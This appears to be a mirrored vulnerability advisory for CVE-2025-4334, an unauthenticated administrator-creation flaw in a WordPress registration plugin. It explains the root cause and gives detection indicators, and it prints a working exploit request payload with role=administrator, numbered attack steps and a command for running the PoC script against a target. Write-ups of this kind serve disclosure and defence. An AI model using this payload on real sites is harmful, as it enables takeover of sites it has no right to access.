Simple User Registration WordPress Plugin — Unauthenticated Privilege Escalation (CVE-2025-4334)

Metadata

Affected Target

Summary

The “Simple User Registration” WordPress plugin (versions <= 6.3) exposes a front-end registration form whose submission handler (wpr_submit_form, invoked via admin-ajax.php) accepts a role field directly from the submitted form data without server-side restriction. The root cause is missing authorization/role-allowlisting on user-controllable registration input: the plugin trusts the client-submitted wpr[wp_field][role] value and creates the account with that role, including administrator. The included PoC scrapes a target registration form for its CSRF nonce (wpr_nonce) and form ID (wpr_form_id), then POSTs a crafted registration request with role=administrator to admin-ajax.php, resulting in creation of a new, fully unauthenticated attacker-controlled administrator account.

Vulnerability Details

Root Cause

The plugin’s wpr_submit_form AJAX handler accepts a wpr[wp_field][role] parameter from the anonymous registration form submission and uses it to set the new user’s WordPress role, instead of hardcoding a safe default (e.g. subscriber) or validating against an allowlist server-side. The PoC’s request payload demonstrates the exact abusable parameter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

data = {
    "action": "wpr_submit_form",
    "wpr_form_id": form_id,
    "wpr_nonce": nonce,
    "_wp_http_referer": referer,
    "wpr[wp_field][user_login]": ""+user_name+"",
    "wpr[wp_field][first_name]": "ict640admin",
    "wpr[wp_field][last_name]": "ict640admin",
    "wpr[wp_field][user_email]": ""+email+"",
    "wpr[wp_field][password]": ""+password+"",
    "wpr[wp_field][confirm_password]": ""+password+"",
    "wpr[wp_field][role]": "administrator"
}

Because the nonce (wpr_nonce) used here is the public, unauthenticated form nonce (present in the publicly rendered registration page HTML, not a privileged one), it does not provide any authorization boundary — it only proves the request came from the form page, not that the requester has any elevated privilege. This is a classic CWE-269 (Improper Privilege Management) / mass-assignment style issue: server-trusted role selection from client input.

Attack Vector

1. Fetch the public registration form page and extract the wpr_nonce and wpr_form_id values embedded in the HTML (both are present pre-authentication).
2. Construct a POST request to wp-admin/admin-ajax.php with action=wpr_submit_form, the harvested nonce/form ID, attacker-chosen username/password/email, and wpr[wp_field][role]=administrator.
3. Submit the request; the plugin creates the account with the requested role and returns a JSON response containing success and user_id on success.
4. Log in to wp-login.php with the newly created administrator credentials.

Impact

An unauthenticated remote attacker can create a fully privileged WordPress administrator account with attacker-chosen credentials on any site running the vulnerable plugin, leading to complete site takeover (plugin/theme installation → code execution, content tampering, data exfiltration, pivoting to the underlying host).

Environment / Lab Setup

Target: WordPress site with "Simple User Registration" plugin <= 6.3 active, with a front-end registration form page published (e.g. /register or similar), reachable over HTTP/HTTPS.
Attacker: Python 3 with the `requests` library.

Proof of Concept

PoC Script

See CVE-2025-4334-ICT604-exploit.py in this folder.

1
2
3
4
5
6

python3 CVE-2025-4334-ICT604-exploit.py \
  -u http://TARGET/ \
  --form http://TARGET/registration-page/ \
  -un attacker_admin \
  -pw 'P@ssw0rd123!' \
  -em attacker@example.com

The script fetches --form to extract wpr_nonce and wpr_form_id, then POSTs a crafted registration request (username/email/password from the CLI args, role=administrator) to TARGET/wp-admin/admin-ajax.php. On success it prints the created credentials and role; the attacker can then log in as a full administrator.

Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=wpr_submit_form&wpr_form_id=<id>&wpr_nonce=<nonce>&_wp_http_referer=<path>&wpr[wp_field][user_login]=<user>&wpr[wp_field][role]=administrator&...

Signs of compromise:

• New administrator accounts appearing in wp_users/wp_usermeta that were not created through the normal WordPress admin “Add New User” screen.
• admin-ajax.php requests with action=wpr_submit_form where the POST body contains wpr[wp_field][role]=administrator or any role other than the plugin’s intended default.
• Unrecognized administrator logins shortly following anonymous registration-form submissions in access logs.

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/vinodwick/CVE-2025-4334 on 2026-07-06. The repository is a single, unadorned Python script with no README or license file — it is functional but bare-bones (no usage docs beyond the script’s own argparse help text).